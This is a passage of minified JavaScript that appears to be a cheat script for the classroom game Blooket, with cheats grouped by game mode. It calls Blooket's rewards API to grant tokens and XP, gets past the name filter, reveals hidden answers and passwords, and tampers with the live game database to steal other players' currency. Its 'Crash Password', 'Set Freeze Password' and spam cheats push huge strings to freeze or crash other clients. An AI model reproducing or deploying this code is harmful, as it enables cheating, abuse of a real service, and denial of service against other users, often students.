nameUsed: "You",
place: 1,
playersDefeated: 0
}),
credentials: "include",
method: "PUT"
}), fetch("https://play.blooket.com/api/users/add-rewards", {
body: JSON.stringify({
t,
name: o,
addedTokens: 500,
addedXp: 300
}),
credentials: "include",
method: "PUT"
}).then(e => e.json()).then(({
dailyReward: e
}) => alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(() => alert("There was an error when adding rewards."))
} else alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/")
}
}, {
name: "Use any Blook",
description: "Allows you to play as any blook.",
run: function() {
(() => {
const stateNode = Object.values(document.querySelector('#app>div>div'))[1].children[0]._owner.stateNode;
let i = document.createElement('iframe');
document.body.append(i);
const alert = i.contentWindow.alert.bind(window);
i.remove();
if (!(stateNode.state.unlocks || stateNode.state.blookData)) {
alert("This must be run on the lobby or dashboard!");
return;
}
if (stateNode.state.blookData) {
let oe = Object.entries;
Object.entries = function(a) {
if (a?.Chick) {
allBlooks(a);
Object.entries = oe;
}
return oe.apply(this, arguments);
}
stateNode.render();
function allBlooks(blooks) {
let blookData = {};
stateNode.setState({
blookData: Object.keys(blooks).reduce((a, b) => (a[b] = stateNode.state.blookData[b] || 1, a), {}),
allSets: Object.values(blooks).reduce((a, b) => {
return !a.includes(b.set) && a.push(b.set), a
}, [])
});
}
} else {
stateNode.setState({
unlocks: {
includes: e => 1
}
});
}
})();
}
}, {
name: "Bypass Filter",
description: "Bypasses the name filter",
run: function() {
var e, t, o, a;
let r;
o = function e(t) {
for (var o = t.split(""), a = "", r = 0; r < o.length; r++) a += "\xad" + o[r];
return a
}(t = window.prompt("Enter some text:")), r = document.createElement("iframe"), document.body.appendChild(r), window.alert = r.contentWindow.alert.bind(r.contentWindow), (e = document.createElement("textarea")).value = o, e.style.position = "fixed", e.style.top = 0, e.style.left = 0, e.style.opacity = 0, document.body.appendChild(e), e.select(), document.execCommand("copy"), alert("Bypassed text copied to clipboard!"), r.remove(), document.body.removeChild(e)
}
}, {
name: "Host Any Gamemode",
description: "Change the selected gamemode on the host settings page",
run: function(e) {
let t = document.createElement("iframe");
if (document.body.append(t), window.alert = t.contentWindow.alert.bind(window), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), "/host/settings" == location.pathname) {
let o = ["Racing", "Classic", "Factory", "Cafe", "Defense2", "Defense", "Royale", "Gold", "Candy", "Brawl", "Hack", "Pirate", "Fish", "Dino", "Toy", "Rush"],
a = prompt(`Which gamemode do you want to switch to? (Case sensitive) ${o.slice(0,o.length-1).join(", ")} or ${o[o.length-1]}`);
if (o.includes(a)) {
let {
stateNode: r
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
r.setState({
settings: {
type: a
}
})
} else alert("Gamemode not found, make sure you spelled and capitalized it right.")
} else alert("Run this script on the host settings page")
}
}],
voyage: [{
name: "Heist ESP",
description: "Shows you what's under each chest during a heist",
type: "toggle",
enabled: false,
data: null,
run: function() {
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
Array.prototype.forEach.call(document.querySelectorAll(".chestESP"), x => x.remove());
} else {
this.enabled = true;
this.data = setInterval(() => {
const cheat = (async () => {
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
if (stateNode.state.stage == "heist") {
const imgs = Array.prototype.map.call(Array.prototype.slice.call(document.querySelector("[class*=prizesList]").children, 1, 4), (x) => x.querySelector("img").src);
const esp = Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.memoizedState;
for (const e of document.querySelectorAll("[class*=boxContent] > div")) e.remove();
const open = Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.next.next.memoizedState;
Array.prototype.forEach.call(document.querySelector("[class*=chestsWrapper]").children, (container, i) => {
const box = container.firstChild.firstChild;
if (open.includes(i)) return box.style.opacity = "";
box.style.opacity = "0.5";
let d = document.createElement("div");
d.innerHTML = "<img src='" + imgs[2 - esp[i]] + "' style='max-width: 75%; max-height: 75%'></img>";
d.className = "chestESP";
d.style.position = "absolute";
d.style.inset = "0";
d.style.display = "grid";
d.style.placeItems = "center";
d.style.pointerEvents = "none";
container.onclick = () => {
d.remove();
box.style.opacity = "";
};
container.firstChild.prepend(d);
});
}
});
cheat();
}, 50);
}
}
}, {
name: "Max Levels",
description: "Maxes out all islands and your boat",
run: function() {
let {
stateNode: e
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
e.setState({
islandLevels: Array(e.state.islandLevels.length).fill(5)
}, e.updateBoatLevel)
}
}, {
name: "Set Doubloons",
description: "Sets Doubloons",
run: function() {
let e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let t = parseInt(prompt("How many doubloons do you want?")) || 0,
{
stateNode: o
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
o.setState({
doubloons: t
}), o.props.liveGameController.setVal({
path: `c/${o.props.client.name}/d`,
val: t
})
}
}, {
name: "Start Heist",
description: "Starts a heist on someone",
run: function() {
let e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
t.props.liveGameController.getDatabaseVal("c", function(e) {
let o = Object.entries(e || {}).reduce((e, [o, a]) => (o != t.props.client.name && e.push({
name: o,
blook: a.b,
doubloons: a.d || 0
}), e), []);
if (0 === o.length) return t.questionsToAnswer = 1, void t.randomQ();
let {
name: a,
blook: r,
doubloons: n
} = o.find(e => e.name == prompt("Who would you like to heist? (Defaults to top player if no one found)")) || o.sort((e, t) => t.doubloons - e.doubloons)[0];
t.setState({
stage: "heist",
heistInfo: {
name: a,
blook: r
},
prizeAmount: Math.max(1e3, n)
})
})
}
}, {
name: "Swap Doubloons",
description: "Swaps Doubloons with someone",
run: async function() {
let e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, o = Object.entries(await new Promise(e => t.props.liveGameController.getDatabaseVal("c", e))).sort((e, t) => t[1].d - e[1].d).filter(e => e[0] != t.props.client.name), a = o.find(e => e[0] == prompt("Who would you like to swap with? (Defaults to top player if no one found)")) || o[0];
t.props.liveGameController.setVal({
path: `c/${t.props.client.name}`,
val: {
b: t.props.client.blook,
d: a[1].d,
tat: `${a[0]}:${a[1].d-t.state.doubloons}`
}
}), t.setState({
doubloons: a[1].d
})
}
}, {
name: "Take Doubloons",
description: "Takes Doubloons from someone",
run: async function(e) {
let t = document.createElement("iframe");
document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove();
let {
stateNode: o
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, a = Object.entries(await new Promise(e => o.props.liveGameController.getDatabaseVal("c", e))).sort((e, t) => t[1].d - e[1].d).filter(e => e[0] != o.props.client.name), r = a.find(e => e[0] == prompt("Who would you like to take from? (Defaults to top player if no one found)")) || a[0];
o.setState({
doubloons: o.state.doubloons + r[1].d
}), o.props.liveGameController.setVal({
path: `c/${o.props.client.name}`,
val: {
b: o.props.client.blook,
d: r[1].d,
tat: `${r[0]}:${r[1].d}`
}
})
}
}, {
name: "Send Ad Text",
description: "Sends a load of text to another player (This will override your blook!)",
run: async function() {
var player = window.prompt("Enter the player's name:");
var text = window.prompt("Enter the text to send:");
let t = document.createElement("iframe");
document.body.append(t);
window.prompt = t.contentWindow.prompt.bind(window);
t.remove();
let {
stateNode: a
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner;
let o = Object.entries(await new Promise(e => a.props.liveGameController.getDatabaseVal("c", e)))
.sort((e, t) => t[1].d - e[1].d)
.filter(e => e[0] != a.props.client.name);
let r = o.find(t => t[0] == player) || o[0];
a.setState({
doubloons: a.state.doubloons + r[1].d
});
a.props.liveGameController.setVal({
path: `c/${a.props.client.name}`,
val: {
b: a.props.client.blook,
d: r[1].d,
tat: `${r[0]}:${r[1].d}`
}
});
let {
props: t2
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner.stateNode;
let repeatedText = `Dog:${Array(500).fill(text).join(' ')}`;
t2.client.blook = repeatedText;
t2.liveGameController.setVal({
path: `c/${t2.client.name}/b`,
val: repeatedText
});
}
}],
brawl: [{
name: "Double Enemy XP",
description: "Doubles enemy XP drop value",
run: function() {
for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) {
var t = e.object2;
let o = t.classType.prototype.start;
t.classType.prototype.start = function() {
o.apply(this, arguments), this.val *= 2
}, t.children.entries.forEach(e => e.val *= 2)
}
}
}, {
name: "Half Enemy Speed",
description: "Makes enemies move 2x slower",
run: function() {
for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) {
var t = e.object2;
let o = t.classType.prototype.start;
t.classType.prototype.start = function() {
o.apply(this, arguments), this.speed *= .5
}, t.children.entries.forEach(e => e.speed *= .5)
}
}
}, {
name: "Instant Kill",
description: "Sets all enemies health to 1",
run: function() {
for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) {
var t = e.object2;
let o = t.classType.prototype.start;
t.classType.prototype.start = function() {
o.apply(this, arguments), this.hp = 1
}, t.children.entries.forEach(e => e.hp = 1)
}
}
}, {
name: "Invincibility",
description: "Makes you invincible",
run: function() {
for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) e.collideCallback = () => {}
}
}, {
name: "Magnet",
description: "Pulls all xp towards you",
run: function() {
Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.find(e => e.collideCallback?.toString().includes("magnetTime")).collideCallback({
active: !0
}, {
active: !0,
setActive() {},
setVisible() {}
})
}
}, {
name: "Max Current Abilities",
description: "Maxes out all your current abilities",
run: function() {
let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
for (var [t, o] of Object.entries(e.state.abilities))
for (let a = 0; a < 10 - o; a++) e.game.current.scene.scenes[0].game.events.emit("level up", t, e.state.abilities[t]++);
e.setState({
level: e.game.current.scene.scenes[0].level = [1, 3, 5, 10, 15, 25, 35].sort((t, o) => Math.abs(t - e.state.level) - Math.abs(o - e.state.level))[0] - 1
})
}
}, {
name: "Next Level",
description: "Skips to the next level",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,
{
object1: t,
object2: o
} = e.game.current.scene.scenes[0].physics.world.colliders._active.find(e => e.collideCallback?.toString().includes('emit("xp"'));
o.get().spawn(t.x, t.y, (1 === (o = e.state.level) ? 1 : o < 5 ? 5 : o < 10 ? 10 : o < 20 ? 20 : o < 30 ? 30 : o < 40 ? 40 : o < 50 ? 50 : 100) - e.xp)
}
}, {
name: "Remove Obstacles",
description: "Removes all rocks and obstacles",
run: function() {
Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.bodies.entries.forEach(e => {
try {
e.gameObject.frame.texture.key.includes("obstacle") && e.gameObject.destroy()
} catch {}
})
}
}, {
name: "Kill Enemies",
description: "Kills all current enemies",
run: function() {
Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.bodies.entries.forEach(e => e?.gameObject?.receiveDamage?.(e.gameObject.hp, 1))
}
}, {
name: "Reset Health",
description: "Resets health and gives invincibility for 3 seconds",
run: function() {
Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].game.events._events.respawn.fn()
}
}, {
name: "Set XP",
description: "Sets amount of XP",
run: function() {
var e = parseFloat(window.prompt("Enter the amount of XP:")),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
xp: e,
totalXp: e
}), t.xp = e, t.totalXp = e, t.props?.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
xp: e
}
})
}
}, {
name: "Set Level",
description: "Sets your level",
run: function() {
var e = parseInt(window.prompt("Enter your level:"));
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
level: e
})
}
}],
cafe: [{
name: "Spam Attack Player",
description: "Attacks the player to make the game unplayable",
type: "toggle",
enabled: false,
data: null,
run: function() {
var name = window.prompt("Enter the player's name:");
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
} else {
this.enabled = true;
function reactHandler() {
return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner;
}
var action = name + ":inspect";
function spamAction() {
var handler = reactHandler();
if (handler && handler.stateNode && handler.stateNode.props && handler.stateNode.props.liveGameController) {
handler.stateNode.props.liveGameController.setVal({
id: handler.stateNode.props.client.hostId,
path: "c/" + handler.stateNode.props.client.name + "/tat",
val: action
});
}
}
this.data = setInterval(spamAction, 50);
}
}
}, {
name: "Attack Player",
description: "Sends the player a health inspection",
run: function() {
var targetPlayer = window.prompt("Enter the player's name:");
function reactHandler() {
return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner;
}
reactHandler().stateNode.props.liveGameController.setVal({
id: reactHandler().stateNode.props.client.hostId,
path: "c/" + reactHandler().stateNode.props.client.name + "/tat",
val: targetPlayer + ":inspect"
});
}
}, {
name: "Max Items",
description: "Maxes out items in the shop (Only usable in the shop)",
run: function() {
let e = document.createElement("iframe");
if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/cafe/shop" !== window.location.pathname) alert("This can only be run in the shop");
else {
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
t.setState({
items: Object.fromEntries(Object.entries(t.state.items).map(e => [e[0], 5]))
})
}
}
}, {
name: "Remove Customers",
description: "Skips the current customers (Not usable in the shop)",
run: function() {
let {
stateNode: e
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
e.state.customers.forEach((t, o) => Object.keys(t).length && e.removeCustomer(o, !0))
}
}, {
name: "Reset Abilities",
description: "Resets used abilities in shop (Only usable in the shop)",
run: function() {
let e = document.createElement("iframe");
if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/cafe/shop" !== window.location.pathname) alert("This can only be run in the shop");
else {
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
t.setState({
abilities: Object.fromEntries(Object.entries(t.state.abilities).map(e => [e[0], 5]))
})
}
}
}, {
name: "Set Cash",
description: "Sets cafe cash",
run: function() {
let e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let t = Number(parseInt(prompt("How much cash would you like?"))),
{
stateNode: o
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
o.setState({
cafeCash: t
}), o.props.liveGameController.setVal({
path: `c/${o.props.client.name}`,
val: {
b: o.props.client.blook,
ca: t
}
})
}
}, {
name: "Stock Food",
description: "Stocks all food to 99 (Not usable in the shop)",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/cafe" !== window.location.pathname ? alert("This can't be run in the shop") : (e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).setState({
foods: e.state.foods.map(e => ({
...e,
stock: 99,
level: 5
}))
})
}
}],
hack: [{
name: "Choice ESP",
description: "Shows what each choice will give you",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
let {
stateNode: e
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, {
text: t
} = e.state.choices[0], o = document.querySelector("[class^=styles__feedbackContainer___]");
if (o.children.length <= 4) {
let a = document.createElement("div");
a.style.color = "white", a.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif", a.style.fontSize = "2em", a.style.display = "flex", a.style.justifyContent = "center", a.style.marginTop = "675px", a.innerText = t, o.append(a)
}
}, 50))
}
}, {
name: "Password ESP",
description: "Highlights the wrong passwords",
type: "toggle",
enabled: !1,
data: null,
run: function() {
try {
let e = this;
e.enabled ? (e.enabled = !1, clearInterval(e.data), e.data = null) : (e.enabled = !0, e.data = setInterval(() => {
let {
state: e
} = Object.values(function e(t = document.querySelector("#app > div > div")) {
return Object.values(t)[1]?.children?.[1]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[1]._owner.stateNode;
"hack" === e.stage && Array.from(document.querySelectorAll('[role="button"]._button_mrhfb_157')).forEach(t => {
t.textContent.trim() !== e.correctPassword.trim() ? (t.style.outlineColor = "rgba(255, 64, 64, 0.8)", t.style.backgroundColor = "rgba(255, 64, 64, 0.8)", t.style.textShadow = "0 0 1px #f33") : (t.style.outlineColor = "", t.style.backgroundColor = "", t.style.textShadow = "")
})
}, 50))
} catch (t) {
console.error("An error occurred:", t)
}
}
}, {
name: "Always Triple",
description: "Always get triple crypto",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
choices: [{
type: "mult",
val: 3,
rate: .075,
blook: "Brainy Bot",
text: "Triple Crypto"
}]
}), 50))
}
}, {
name: "Always Hack",
description: "Always get hack",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
choices: [{
type: "hack",
val: 3,
rate: .075,
blook: "Mega Bot",
text: "HACK"
}]
}), 50))
}
}, {
name: "Crash Password",
description: "Crashes other players when they attempt to hack you",
type: "toggle",
enabled: !1,
data: null,
run: function() {
var e = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode;
if (this.enabled) this.enabled = !1, clearInterval(this.data), this.data = null, e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/p`,
val: e.state?.password
});
else {
this.enabled = !0;
let t = () => {
e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/p/toString`,
val: "crash"
})
};
this.data = setInterval(t, 25)
}
}
}, {
name: "Set Freeze Password",
description: "Freezes other players when they attempt to hack you",
type: "toggle",
enabled: !1,
data: null,
run: function() {
const encodedChars = [
'\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
];
const chars = encodedChars.map(char => eval(`"${char}"`));
function makeLongText() {
return new Array(3e+6).fill().map(e => chars[Math.floor(Math.random() * chars.length)]).join("");
}
var t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
if (this.enabled) {
this.enabled = !1;
clearInterval(this.data);
this.data = null;
t.setState({
password: ''
});
t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: '',
cr: t.state.crypto
}
});
} else {
this.enabled = !0;
let lagFunction = () => {
var e = makeLongText();
t.setState({
password: e
});
t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: e,
cr: t.state.crypto
}
});
};
this.data = setInterval(lagFunction, 25);
}
}
}, {
name: "Auto Guess",
description: "Automatically performs the hack for you",
type: "toggle",
enabled: !1,
data: null,
run: function() {
try {
let e = this;
e.enabled ? (e.enabled = !1, clearInterval(e.data), e.data = null) : (e.enabled = !0, e.data = setInterval(() => {
if ("hack" === ("hack" === window.location.pathname.split("/")[2] && "hack")) {
let {
stage: e,
correctPassword: t
} = Object.values(document.querySelector("#app > div > div"))[1].children[1]._owner.stateNode.state;
"hack" === e && Array.from(document.querySelectorAll("div")).filter(e => e.innerHTML === t)[0].click()
}
}, 50))
} catch (t) {
console.error("An error occurred:", t)
}
}
}, {
name: "Set Host Screen Green",
description: "Makes the whole screen filled with text",
type: "toggle",
enabled: !1,
data: null,
run: function() {
var a = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode;
if (this.enabled) {
this.enabled = !1;
clearInterval(this.data);
this.data = null;
a.props.liveGameController.setVal({
path: `c/${a.props.client.name}/cr`,
val: ""
});
} else {
this.enabled = !0;
let t = () => {
var o = [];
const char = eval('"\\u0e47"');
for (let r = 0; r < 999; r++) {
o.push(char.repeat(70));
}
a.props.liveGameController.setVal({
path: `c/${a.props.client.name}/cr`,
val: `9999999999999999999999999999999999999999999999${o.join(" ")}`
});
};
this.data = setInterval(t, 25);
}
}
}, {
name: "Remove Hack",
description: "",
run: function() {
Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode.setState({
hack: ""
})
}
}, {
name: "Set Crypto",
description: "Sets crypto",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much crypto would you like?")))),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
crypto: e,
crypto2: e
}), t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: t.state.password,
cr: e
}
})
}
}, {
name: "Set Password",
description: "Sets hacking password",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), prompt("What do you want to set your password to?")),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
password: e
}), t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: e,
cr: t.state.crypto
}
})
}
}, {
name: "Set Screen Text",
description: "Makes the whole screen filled with text",
run: function() {
var e = window.prompt("Enter the text you want to display:");
let t = document.createElement("iframe");
document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove();
var o = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode,
a = [];
for (let r = 0; r < 999; r++) a.push(e);
o.props.liveGameController.setVal({
path: `c/${o.props.client.name}/cr`,
val: `9999999999999999999999999999999999999999999999${a.join(" ")}`
})
}
}, {
name: "Steal Player's Crypto",
description: "Steals all of someone's crypto",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let t = prompt("Who's crypto would you like to steal?"),
o = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
o.props.liveGameController.getDatabaseVal("c", e => {
var a, r;
e && Object.keys(e).map(e => e.toLowerCase()).includes(t.toLowerCase()) && ([a, {
cr: r
}] = Object.entries(e).find(([e]) => e.toLowerCase() == t.toLowerCase()), console.log(!!e, e, a, r, o.state), o.setState({
crypto: o.state.crypto + r,
crypto2: o.state.crypto + r
}), o.props.liveGameController.setVal({
path: "c/".concat(o.props.client.name),
val: {
b: o.props.client.blook,
p: o.state.password,
cr: o.state.crypto + r,
tat: a + ":" + r
}
}), console.log("done"))
})
}
}, {
name: "Send Ad Text",
description: "Sends a load of text to another player (This will override your blook!)",
run: async function() {
var player = window.prompt("Enter the player's name:");
var blook = window.prompt("Enter the text to send:");
let t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.props.liveGameController.getDatabaseVal("c", a => {
var o;
if (a && Object.keys(a).map(e => e.toLowerCase()).includes(player.toLowerCase())) {
[a, {
cr: o
}] = Object.entries(a).find(([t]) => t.toLowerCase() == player.toLowerCase());
t.setState({
crypto: t.state.crypto + o,
crypto2: t.state.crypto + o
});
t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: t.state.password,
cr: t.state.crypto + o,
tat: a + ":" + o
}
});
}
});
let {
props: t2
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner.stateNode;
let repeatedText = `Dog:${Array(500).fill(blook).join(' ')}`;
t2.client.blook = repeatedText;
t2.liveGameController.setVal({
path: `c/${t2.client.name}/b`,
val: repeatedText
});
}
}],
defense: [{
name: "Earthquake",
description: "Shuffles around towers",
run: function() {
let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,
t = (e.setState({
eventName: "Earthquake",
event: {
short: "e",
color: "#805500",
icon: "fas fa-mountain",
desc: "All of your towers get mixed up",
rate: .02
},
buyTowerName: "",
buyTower: {}
}, () => e.eventTimeout = setTimeout(() => e.setState({
event: {},
eventName: ""
}), 6e3)), e.tiles.forEach(e => e.forEach((t, o) => 3 === t && (e[o] = 0))), e.tiles.flatMap((e, t) => e.map((e, o) => 0 === e && {
x: o,
y: t
})).filter(Boolean).sort(() => .5 - Math.random()));
e.towers.forEach(o => {
var {
x: a,
y: r
} = t.shift();
o.move(a, r, e.tileSize), e.tiles[r][a] = 3
})
}
}, {
name: "Max Tower Stats",
description: "Makes all placed towers overpowered",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.towers.forEach(e => {
e.range = 100, e.fullCd = e.cd = 0, e.damage = 1e6
})
}
}, {
name: "Remove Ducks",
description: "Removes ducks",
run: function() {
let {
ducks: e,
tiles: t
} = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.forEach(e => {
t[e.y][e.x] = 0
}), e.length = 0
}
}, {
name: "Remove Enemies",
description: "Removes all the enemies",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.enemies = e.futureEnemies = []
}
}, {
name: "Remove Obstacles",
description: "Lets you place towers anywhere",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.tiles = e.tiles.map(e => e.fill(0))
}
}, {
name: "Set Damage",
description: "Sets damage",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.dmg = Number(parseInt(prompt("How much dmg would you like?")))
}
}, {
name: "Set Round",
description: "Sets the current round",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
round: Number(parseInt(prompt("What round do you want to set to?")))
})
}
}, {
name: "Set Tokens",
description: "Sets the amount of tokens you have",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
tokens: Number(parseInt(prompt("How many tokens would you like?")))
})
}
}],
defense2: [{
name: "Max Tower Stats",
description: "Makes all placed towers overpowered",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.state.towers.forEach(e => {
if (e.stats.dmg = 1e6, e.stats.fireRate = 50, e.stats.ghostDetect = !0, e.stats.maxTargets = 1e6, e.stats.numProjectiles &&= 100, e.stats.range = 100, e.stats.auraBuffs)
